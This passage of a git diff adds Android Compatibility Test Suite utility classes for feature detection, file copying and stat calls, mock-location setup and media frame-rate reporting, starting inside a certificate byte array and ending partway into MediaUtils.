+            (byte) 0x2e, (byte) 0xef, (byte) 0x66, (byte) 0x98, (byte) 0xb4, (byte) 0xfe,
+            (byte) 0xa2, (byte) 0x40, (byte) 0xf2, (byte) 0x1f, (byte) 0xd0, (byte) 0x86,
+            (byte) 0x16, (byte) 0xc8, (byte) 0x45, (byte) 0xc4, (byte) 0x52, (byte) 0xcb,
+            (byte) 0x31, (byte) 0x5c, (byte) 0x9f, (byte) 0x32, (byte) 0x3b, (byte) 0xf7,
+            (byte) 0x19, (byte) 0x08, (byte) 0xc7, (byte) 0x00, (byte) 0x21, (byte) 0x7d,
+            (byte) 0x02, (byte) 0x03, (byte) 0x01, (byte) 0x00, (byte) 0x01, (byte) 0xa3,
+            (byte) 0x50, (byte) 0x30, (byte) 0x4e, (byte) 0x30, (byte) 0x1d, (byte) 0x06,
+            (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x0e, (byte) 0x04, (byte) 0x16,
+            (byte) 0x04, (byte) 0x14, (byte) 0x47, (byte) 0x82, (byte) 0xa3, (byte) 0xf1,
+            (byte) 0xc2, (byte) 0x7e, (byte) 0x3a, (byte) 0xde, (byte) 0x4f, (byte) 0x30,
+            (byte) 0x4c, (byte) 0x7f, (byte) 0x72, (byte) 0x81, (byte) 0x15, (byte) 0x32,
+            (byte) 0xda, (byte) 0x7f, (byte) 0x58, (byte) 0x18, (byte) 0x30, (byte) 0x1f,
+            (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x23, (byte) 0x04,
+            (byte) 0x18, (byte) 0x30, (byte) 0x16, (byte) 0x80, (byte) 0x14, (byte) 0x47,
+            (byte) 0x82, (byte) 0xa3, (byte) 0xf1, (byte) 0xc2, (byte) 0x7e, (byte) 0x3a,
+            (byte) 0xde, (byte) 0x4f, (byte) 0x30, (byte) 0x4c, (byte) 0x7f, (byte) 0x72,
+            (byte) 0x81, (byte) 0x15, (byte) 0x32, (byte) 0xda, (byte) 0x7f, (byte) 0x58,
+            (byte) 0x18, (byte) 0x30, (byte) 0x0c, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+            (byte) 0x1d, (byte) 0x13, (byte) 0x04, (byte) 0x05, (byte) 0x30, (byte) 0x03,
+            (byte) 0x01, (byte) 0x01, (byte) 0xff, (byte) 0x30, (byte) 0x0d, (byte) 0x06,
+            (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7,
+            (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x05, (byte) 0x00,
+            (byte) 0x03, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0x08, (byte) 0x7f,
+            (byte) 0x6a, (byte) 0x48, (byte) 0x90, (byte) 0x7b, (byte) 0x9b, (byte) 0x72,
+            (byte) 0x13, (byte) 0xa7, (byte) 0xef, (byte) 0x6b, (byte) 0x0b, (byte) 0x59,
+            (byte) 0xe5, (byte) 0x49, (byte) 0x72, (byte) 0x3a, (byte) 0xc8, (byte) 0x84,
+            (byte) 0xcc, (byte) 0x23, (byte) 0x18, (byte) 0x4c, (byte) 0xec, (byte) 0xc7,
+            (byte) 0xef, (byte) 0xcb, (byte) 0xa7, (byte) 0xbe, (byte) 0xe4, (byte) 0xef,
+            (byte) 0x8f, (byte) 0xc6, (byte) 0x06, (byte) 0x8c, (byte) 0xc0, (byte) 0xe4,
+            (byte) 0x2f, (byte) 0x2a, (byte) 0xc0, (byte) 0x35, (byte) 0x7d, (byte) 0x5e,
+            (byte) 0x19, (byte) 0x29, (byte) 0x8c, (byte) 0xb9, (byte) 0xf1, (byte) 0x1e,
+            (byte) 0xaf, (byte) 0x82, (byte) 0xd8, (byte) 0xe3, (byte) 0x88, (byte) 0xe1,
+            (byte) 0x31, (byte) 0xc8, (byte) 0x82, (byte) 0x1f, (byte) 0x83, (byte) 0xa9,
+            (byte) 0xde, (byte) 0xfe, (byte) 0x4b, (byte) 0xe2, (byte) 0x78, (byte) 0x64,
+            (byte) 0xed, (byte) 0xa4, (byte) 0x7b, (byte) 0xee, (byte) 0x8d, (byte) 0x71,
+            (byte) 0x1b, (byte) 0x44, (byte) 0xe6, (byte) 0xb7, (byte) 0xe8, (byte) 0xc5,
+            (byte) 0x9a, (byte) 0x93, (byte) 0x92, (byte) 0x6f, (byte) 0x6f, (byte) 0xdb,
+            (byte) 0xbd, (byte) 0xd7, (byte) 0x03, (byte) 0x85, (byte) 0xa9, (byte) 0x5f,
+            (byte) 0x53, (byte) 0x5f, (byte) 0x5d, (byte) 0x30, (byte) 0xc6, (byte) 0xd9,
+            (byte) 0xce, (byte) 0x34, (byte) 0xa8, (byte) 0xbe, (byte) 0x31, (byte) 0x47,
+            (byte) 0x1c, (byte) 0xa4, (byte) 0x7f, (byte) 0xc0, (byte) 0x2c, (byte) 0xbc,
+            (byte) 0xfe, (byte) 0x1a, (byte) 0x31, (byte) 0xd8, (byte) 0x77, (byte) 0x4d,
+            (byte) 0xfc, (byte) 0x45, (byte) 0x84, (byte) 0xfc, (byte) 0x45, (byte) 0x12,
+            (byte) 0xab, (byte) 0x50, (byte) 0xe4, (byte) 0x45, (byte) 0xe5, (byte) 0x11
+        };
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/FeatureUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/FeatureUtil.java
new file mode 100644
index 0000000..b860b96
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/FeatureUtil.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.Context;
+import android.content.pm.FeatureInfo;
+import android.content.pm.PackageManager;
+import android.content.res.Configuration;
+import android.os.Build;
+import androidx.test.InstrumentationRegistry;
+
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Device-side utility class for detecting system features
+ */
+public class FeatureUtil {
+
+    public static final String AUTOMOTIVE_FEATURE = "android.hardware.type.automotive";
+    public static final String LEANBACK_FEATURE = "android.software.leanback";
+    public static final String LOW_RAM_FEATURE = "android.hardware.ram.low";
+    public static final String TELEPHONY_FEATURE = "android.hardware.telephony";
+    public static final String TV_FEATURE = "android.hardware.type.television";
+    public static final String WATCH_FEATURE = "android.hardware.type.watch";
+
+
+    /** Returns true if the device has a given system feature */
+    public static boolean hasSystemFeature(String feature) {
+        return getPackageManager().hasSystemFeature(feature);
+    }
+
+    /** Returns true if the device has any feature in a given collection of system features */
+    public static boolean hasAnySystemFeature(String... features) {
+        PackageManager pm = getPackageManager();
+        for (String feature : features) {
+            if (pm.hasSystemFeature(feature)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /** Returns true if the device has all features in a given collection of system features */
+    public static boolean hasAllSystemFeatures(String... features) {
+        PackageManager pm = getPackageManager();
+        for (String feature : features) {
+            if (!pm.hasSystemFeature(feature)) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    /** Returns all system features of the device */
+    public static Set<String> getAllFeatures() {
+        Set<String> allFeatures = new HashSet<String>();
+        for (FeatureInfo fi : getPackageManager().getSystemAvailableFeatures()) {
+            allFeatures.add(fi.name);
+        }
+        return allFeatures;
+    }
+
+    /** Returns true if the device has feature TV_FEATURE or feature LEANBACK_FEATURE */
+    public static boolean isTV() {
+        return hasAnySystemFeature(TV_FEATURE, LEANBACK_FEATURE);
+    }
+
+    /** Returns true if the device has feature WATCH_FEATURE */
+    public static boolean isWatch() {
+        return hasSystemFeature(WATCH_FEATURE);
+    }
+
+    /** Returns true if the device has feature AUTOMOTIVE_FEATURE */
+    public static boolean isAutomotive() {
+        return hasSystemFeature(AUTOMOTIVE_FEATURE);
+    }
+
+    public static boolean isVrHeadset() {
+        int maskedUiMode = (getConfiguration().uiMode & Configuration.UI_MODE_TYPE_MASK);
+        return (maskedUiMode == Configuration.UI_MODE_TYPE_VR_HEADSET);
+    }
+
+    /** Returns true if the device is a low ram device:
+     *  1. API level &gt;= O_MR1
+     *  2. device has feature LOW_RAM_FEATURE
+     */
+    public static boolean isLowRam() {
+        return ApiLevelUtil.isAtLeast(Build.VERSION_CODES.O_MR1) &&
+                hasSystemFeature(LOW_RAM_FEATURE);
+    }
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    private static PackageManager getPackageManager() {
+        return getContext().getPackageManager();
+    }
+
+    private static Configuration getConfiguration() {
+        return getContext().getResources().getConfiguration();
+    }
+
+    /** Returns true if the device has feature TELEPHONY_FEATURE */
+    public static boolean hasTelephony() {
+        return hasSystemFeature(TELEPHONY_FEATURE);
+    }
+
+    /** Returns true if the device has feature FEATURE_MICROPHONE */
+    public static boolean hasMicrophone() {
+        return hasSystemFeature(getPackageManager().FEATURE_MICROPHONE);
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/FileCopyHelper.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/FileCopyHelper.java
new file mode 100644
index 0000000..f58dbd0
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/FileCopyHelper.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.Context;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.ArrayList;
+
+/**
+ * FileCopyHelper is used to copy files from resources to the
+ * application directory and responsible for deleting the files.
+ *
+ * @see MediaStore_VideoTest
+ * @see MediaStore_Images_MediaTest
+ * @see MediaStore_Images_ThumbnailsTest
+ */
+public class FileCopyHelper {
+    /** The context. */
+    private Context mContext;
+
+    /** The files added. */
+    private ArrayList<String> mFilesList;
+
+    /**
+     * Instantiates a new file copy helper.
+     *
+     * @param context the context
+     */
+    public FileCopyHelper(Context context) {
+        mContext = context;
+        mFilesList = new ArrayList<String>();
+    }
+
+    /**
+     * Copy the file from the resources with a filename.
+     *
+     * @param resId the res id
+     * @param fileName the file name
+     *
+     * @return the absolute path of the destination file
+     * @throws IOException
+     */
+    public String copy(int resId, String fileName) throws IOException {
+        InputStream source = mContext.getResources().openRawResource(resId);
+        OutputStream target = mContext.openFileOutput(fileName, Context.MODE_WORLD_READABLE);
+        copyFile(source, target);
+        mFilesList.add(fileName);
+        return mContext.getFileStreamPath(fileName).getAbsolutePath();
+    }
+
+    public void copyToExternalStorage(int resId, File path) throws IOException {
+        InputStream source = mContext.getResources().openRawResource(resId);
+        OutputStream target = new FileOutputStream(path);
+        copyFile(source, target);
+    }
+
+    private void copyFile(InputStream source, OutputStream target) throws IOException {
+        try {
+            byte[] buffer = new byte[1024];
+            for (int len = source.read(buffer); len > 0; len = source.read(buffer)) {
+                target.write(buffer, 0, len);
+            }
+        } finally {
+            if (source != null) {
+                source.close();
+            }
+            if (target != null) {
+                target.close();
+            }
+        }
+    }
+
+    /**
+     * Delete all the files copied by the helper.
+     */
+    public void clear(){
+        for (String path : mFilesList) {
+            mContext.deleteFile(path);
+        }
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/FileUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/FileUtils.java
new file mode 100644
index 0000000..ceada01
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/FileUtils.java
@@ -0,0 +1,163 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+/** Bits and pieces copied from hidden API of android.os.FileUtils. */
+public class FileUtils {
+
+    public static final int S_IFMT  = 0170000;
+    public static final int S_IFSOCK = 0140000;
+    public static final int S_IFLNK = 0120000;
+    public static final int S_IFREG = 0100000;
+    public static final int S_IFBLK = 0060000;
+    public static final int S_IFDIR = 0040000;
+    public static final int S_IFCHR = 0020000;
+    public static final int S_IFIFO = 0010000;
+
+    public static final int S_ISUID = 0004000;
+    public static final int S_ISGID = 0002000;
+    public static final int S_ISVTX = 0001000;
+
+    public static final int S_IRWXU = 00700;
+    public static final int S_IRUSR = 00400;
+    public static final int S_IWUSR = 00200;
+    public static final int S_IXUSR = 00100;
+
+    public static final int S_IRWXG = 00070;
+    public static final int S_IRGRP = 00040;
+    public static final int S_IWGRP = 00020;
+    public static final int S_IXGRP = 00010;
+
+    public static final int S_IRWXO = 00007;
+    public static final int S_IROTH = 00004;
+    public static final int S_IWOTH = 00002;
+    public static final int S_IXOTH = 00001;
+
+    static {
+        System.loadLibrary("cts_jni");
+    }
+
+    public static class FileStatus {
+
+        public int dev;
+        public int ino;
+        public int mode;
+        public int nlink;
+        public int uid;
+        public int gid;
+        public int rdev;
+        public long size;
+        public int blksize;
+        public long blocks;
+        public long atime;
+        public long mtime;
+        public long ctime;
+
+        public boolean hasModeFlag(int flag) {
+            if (((S_IRWXU | S_IRWXG | S_IRWXO) & flag) != flag) {
+                throw new IllegalArgumentException("Inappropriate flag " + flag);
+            }
+            return (mode & flag) == flag;
+        }
+
+        public boolean isOfType(int type) {
+            if ((type & S_IFMT) != type) {
+                throw new IllegalArgumentException("Unknown type " + type);
+            }
+            return (mode & S_IFMT) == type;
+        }
+    }
+
+    /**
+     * @param path of the file to stat
+     * @param status object to set the fields on
+     * @param statLinks or don't stat links (lstat vs stat)
+     * @return whether or not we were able to stat the file
+     */
+    public native static boolean getFileStatus(String path, FileStatus status, boolean statLinks);
+
+    public native static String getUserName(int uid);
+
+    public native static String getGroupName(int gid);
+
+    public native static int setPermissions(String file, int mode);
+
+    /**
+     * Copy data from a source stream to destFile.
+     * Return true if succeed, return false if failed.
+     */
+    public static boolean copyToFile(InputStream inputStream, File destFile) {
+        try {
+            if (destFile.exists()) {
+                destFile.delete();
+            }
+            FileOutputStream out = new FileOutputStream(destFile);
+            try {
+                byte[] buffer = new byte[4096];
+                int bytesRead;
+                while ((bytesRead = inputStream.read(buffer)) >= 0) {
+                    out.write(buffer, 0, bytesRead);
+                }
+            } finally {
+                out.flush();
+                try {
+                    out.getFD().sync();
+                } catch (IOException e) {
+                }
+                out.close();
+            }
+            return true;
+        } catch (IOException e) {
+            return false;
+        }
+    }
+
+    public static void createFile(File file, int numBytes) throws IOException {
+        File parentFile = file.getParentFile();
+        if (parentFile != null) {
+            parentFile.mkdirs();
+        }
+        byte[] buffer = new byte[numBytes];
+        FileOutputStream output = new FileOutputStream(file);
+        try {
+            output.write(buffer);
+        } finally {
+            output.close();
+        }
+    }
+
+    public static byte[] readInputStreamFully(InputStream is) {
+        ByteArrayOutputStream os = new ByteArrayOutputStream();
+        byte[] buffer = new byte[32768];
+        int count;
+        try {
+            while ((count = is.read(buffer)) != -1) {
+                os.write(buffer, 0, count);
+            }
+            is.close();
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+        return os.toByteArray();
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/IBinderParcelable.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/IBinderParcelable.java
new file mode 100644
index 0000000..f3c53fe
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/IBinderParcelable.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+public class IBinderParcelable implements Parcelable {
+    public IBinder binder;
+
+    public IBinderParcelable(IBinder source) {
+        binder = source;
+    }
+
+    public int describeContents() {
+        return 0;
+    }
+
+    public void writeToParcel(Parcel dest, int flags) {
+        dest.writeStrongBinder(binder);
+    }
+
+    public static final Parcelable.Creator<IBinderParcelable>
+        CREATOR = new Parcelable.Creator<IBinderParcelable>() {
+
+        public IBinderParcelable createFromParcel(Parcel source) {
+            return new IBinderParcelable(source);
+        }
+
+        public IBinderParcelable[] newArray(int size) {
+            return new IBinderParcelable[size];
+        }
+    };
+
+    private IBinderParcelable(Parcel source) {
+        binder = source.readStrongBinder();
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/LocationUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/LocationUtils.java
new file mode 100644
index 0000000..f233851
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/LocationUtils.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.compatibility.common.util;
+
+import android.app.Instrumentation;
+import android.util.Log;
+
+import java.io.IOException;
+
+public class LocationUtils {
+    private static String TAG = "LocationUtils";
+
+    public static void registerMockLocationProvider(Instrumentation instrumentation,
+            boolean enable) {
+        StringBuilder command = new StringBuilder();
+        command.append("appops set ");
+        command.append(instrumentation.getContext().getPackageName());
+        command.append(" android:mock_location ");
+        command.append(enable ? "allow" : "deny");
+        try {
+            SystemUtil.runShellCommand(instrumentation, command.toString());
+        } catch (IOException e) {
+            Log.e(TAG, "Error managing mock location app. Command: " + command, e);
+        }
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaPerfUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaPerfUtils.java
new file mode 100644
index 0000000..469e99a
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaPerfUtils.java
@@ -0,0 +1,176 @@
+/*
+ * Copyright 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.media.MediaFormat;
+import android.util.Range;
+
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import java.util.Arrays;
+import android.util.Log;
+
+public class MediaPerfUtils {
+    private static final String TAG = "MediaPerfUtils";
+
+    private static final int MOVING_AVERAGE_NUM_FRAMES = 10;
+    private static final int MOVING_AVERAGE_WINDOW_MS = 1000;
+
+    // allow a variance of 2x for measured frame rates (e.g. half of lower-limit to double of
+    // upper-limit of the published values). Also allow an extra 10% margin. This also acts as
+    // a limit for the size of the published rates (e.g. upper-limit / lower-limit <= tolerance).
+    private static final double FRAMERATE_TOLERANCE = 2.0 * 1.1;
+
+    /*
+     *  ------------------ HELPER METHODS FOR ACHIEVABLE FRAME RATES ------------------
+     */
+
+    /** removes brackets from format to be included in JSON. */
+    private static String formatForReport(MediaFormat format) {
+        String asString = "" + format;
+        return asString.substring(1, asString.length() - 1);
+    }
+
+    /**
+     * Adds performance header info to |log| for |codecName|, |round|, |configFormat|, |inputFormat|
+     * and |outputFormat|. Also appends same to |message| and returns the resulting base message
+     * for logging purposes.
+     */
+    public static String addPerformanceHeadersToLog(
+            DeviceReportLog log, String message, int round, String codecName,
+            MediaFormat configFormat, MediaFormat inputFormat, MediaFormat outputFormat) {
+        String mime = configFormat.getString(MediaFormat.KEY_MIME);
+        int width = configFormat.getInteger(MediaFormat.KEY_WIDTH);
+        int height = configFormat.getInteger(MediaFormat.KEY_HEIGHT);
+
+        log.addValue("round", round, ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValue("codec_name", codecName, ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValue("mime_type", mime, ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValue("width", width, ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValue("height", height, ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValue("config_format", formatForReport(configFormat),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValue("input_format", formatForReport(inputFormat),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValue("output_format", formatForReport(outputFormat),
+                ResultType.NEUTRAL, ResultUnit.NONE);
+
+        message += " codec=" + codecName + " round=" + round + " configFormat=" + configFormat
+                + " inputFormat=" + inputFormat + " outputFormat=" + outputFormat;
+
+        Range<Double> reported =
+            MediaUtils.getVideoCapabilities(codecName, mime)
+                    .getAchievableFrameRatesFor(width, height);
+        if (reported != null) {
+            log.addValue("reported_low", reported.getLower(), ResultType.NEUTRAL, ResultUnit.FPS);
+            log.addValue("reported_high", reported.getUpper(), ResultType.NEUTRAL, ResultUnit.FPS);
+            message += " reported=" + reported.getLower() + "-" + reported.getUpper();
+        }
+
+        return message;
+    }
+
+    /**
+     * Adds performance statistics based on the raw |stats| to |log|. Also prints the same into
+     * logcat. Returns the "final fps" value.
+     */
+    public static double addPerformanceStatsToLog(
+            DeviceReportLog log, MediaUtils.Stats durationsUsStats, String message) {
+
+        MediaUtils.Stats frameAvgUsStats =
+            durationsUsStats.movingAverage(MOVING_AVERAGE_NUM_FRAMES);
+        log.addValue(
+                "window_frames", MOVING_AVERAGE_NUM_FRAMES, ResultType.NEUTRAL, ResultUnit.COUNT);
+        logPerformanceStats(log, frameAvgUsStats, "frame_avg_stats",
+                message + " window=" + MOVING_AVERAGE_NUM_FRAMES);
+
+        MediaUtils.Stats timeAvgUsStats =
+            durationsUsStats.movingAverageOverSum(MOVING_AVERAGE_WINDOW_MS * 1000);
+        log.addValue("window_time", MOVING_AVERAGE_WINDOW_MS, ResultType.NEUTRAL, ResultUnit.MS);
+        double fps = logPerformanceStats(log, timeAvgUsStats, "time_avg_stats",
+                message + " windowMs=" + MOVING_AVERAGE_WINDOW_MS);
+
+        log.setSummary("fps", fps, ResultType.HIGHER_BETTER, ResultUnit.FPS);
+        return fps;
+    }
+
+    /**
+     * Adds performance statistics based on the processed |stats| to |log| using |prefix|.
+     * Also prints the same into logcat using |message| as the base message. Returns the fps value
+     * for |stats|. |prefix| must be lowercase alphanumeric underscored format.
+     */
+    private static double logPerformanceStats(
+            DeviceReportLog log, MediaUtils.Stats statsUs, String prefix, String message) {
+        final String[] labels = {
+            "min", "p5", "p10", "p20", "p30", "p40", "p50", "p60", "p70", "p80", "p90", "p95", "max"
+        };
+        final double[] points = {
+             0,     5,    10,    20,    30,    40,    50,    60,    70,    80,    90,    95,    100
+        };
+
+        int num = statsUs.getNum();
+        long avg = Math.round(statsUs.getAverage());
+        long stdev = Math.round(statsUs.getStdev());
+        log.addValue(prefix + "_num", num, ResultType.NEUTRAL, ResultUnit.COUNT);
+        log.addValue(prefix + "_avg", avg / 1000., ResultType.LOWER_BETTER, ResultUnit.MS);
+        log.addValue(prefix + "_stdev", stdev / 1000., ResultType.LOWER_BETTER, ResultUnit.MS);
+        message += " num=" + num + " avg=" + avg + " stdev=" + stdev;
+        final double[] percentiles = statsUs.getPercentiles(points);
+        for (int i = 0; i < labels.length; ++i) {
+            long p = Math.round(percentiles[i]);
+            message += " " + labels[i] + "=" + p;
+            log.addValue(prefix + "_" + labels[i], p / 1000., ResultType.NEUTRAL, ResultUnit.MS);
+        }
+
+        // print result to logcat in case test aborts before logs are written
+        Log.i(TAG, message);
+
+        return 1e6 / percentiles[points.length - 2];
+    }
+
+    /** Verifies |measuredFps| against reported achievable rates. Returns null if at least
+     *  one measurement falls within the margins of the reported range. Otherwise, returns
+     *  an error message to display.*/
+    public static String verifyAchievableFrameRates(
+            String name, String mime, int w, int h, double... measuredFps) {
+        Range<Double> reported =
+            MediaUtils.getVideoCapabilities(name, mime).getAchievableFrameRatesFor(w, h);
+        String kind = "achievable frame rates for " + name + " " + mime + " " + w + "x" + h;
+        if (reported == null) {
+            return "Failed to get " + kind;
+        }
+        double lowerBoundary1 = reported.getLower() / FRAMERATE_TOLERANCE;
+        double upperBoundary1 = reported.getUpper() * FRAMERATE_TOLERANCE;
+        double lowerBoundary2 = reported.getUpper() / Math.pow(FRAMERATE_TOLERANCE, 2);
+        double upperBoundary2 = reported.getLower() * Math.pow(FRAMERATE_TOLERANCE, 2);
+        Log.d(TAG, name + " " + mime + " " + w + "x" + h +
+                " lowerBoundary1 " + lowerBoundary1 + " upperBoundary1 " + upperBoundary1 +
+                " lowerBoundary2 " + lowerBoundary2 + " upperBoundary2 " + upperBoundary2 +
+                " measured " + Arrays.toString(measuredFps));
+
+        for (double measured : measuredFps) {
+            if (measured >= lowerBoundary1 && measured <= upperBoundary1
+                    && measured >= lowerBoundary2 && measured <= upperBoundary2) {
+                return null;
+            }
+        }
+
+        return "Expected " + kind + ": " + reported + ".\n"
+                + "Measured frame rate: " + Arrays.toString(measuredFps) + ".\n";
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
new file mode 100644
index 0000000..3ea6b63
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
@@ -0,0 +1,1232 @@
+/*
+ * Copyright 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.content.Context;
+import android.content.res.AssetFileDescriptor;
+import android.drm.DrmConvertedStatus;
+import android.drm.DrmManagerClient;
+import android.graphics.ImageFormat;
+import android.media.Image;
+import android.media.Image.Plane;
+import android.media.MediaCodec;
+import android.media.MediaCodec.BufferInfo;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecInfo.VideoCapabilities;
+import android.media.MediaCodecList;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.net.Uri;
+import android.util.Log;
+import android.util.Range;
+
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import java.lang.reflect.Method;
+import java.nio.ByteBuffer;
+import java.security.MessageDigest;
+
+import static java.lang.reflect.Modifier.isPublic;
+import static java.lang.reflect.Modifier.isStatic;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
+
+import static junit.framework.Assert.assertTrue;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.RandomAccessFile;
+
+public class MediaUtils {
+    private static final String TAG = "MediaUtils";
+
+    /*
+     *  ----------------------- HELPER METHODS FOR SKIPPING TESTS -----------------------
+     */
+    private static final int ALL_AV_TRACKS = -1;
+
+    private static final MediaCodecList sMCL = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+
+    /**
+     * Returns the test name (heuristically).
+     *
+     * Since it uses heuristics, this method has only been verified for media
+     * tests. This centralizes the way to signal errors during a test.
+     */
+    public static String getTestName() {
+        return getTestName(false /* withClass */);
+    }
+
+    /**
+     * Returns the test name with the full class (heuristically).
+     *
+     * Since it uses heuristics, this method has only been verified for media
+     * tests. This centralizes the way to signal errors during a test.
+     */
+    public static String getTestNameWithClass() {
+        return getTestName(true /* withClass */);
+    }
+
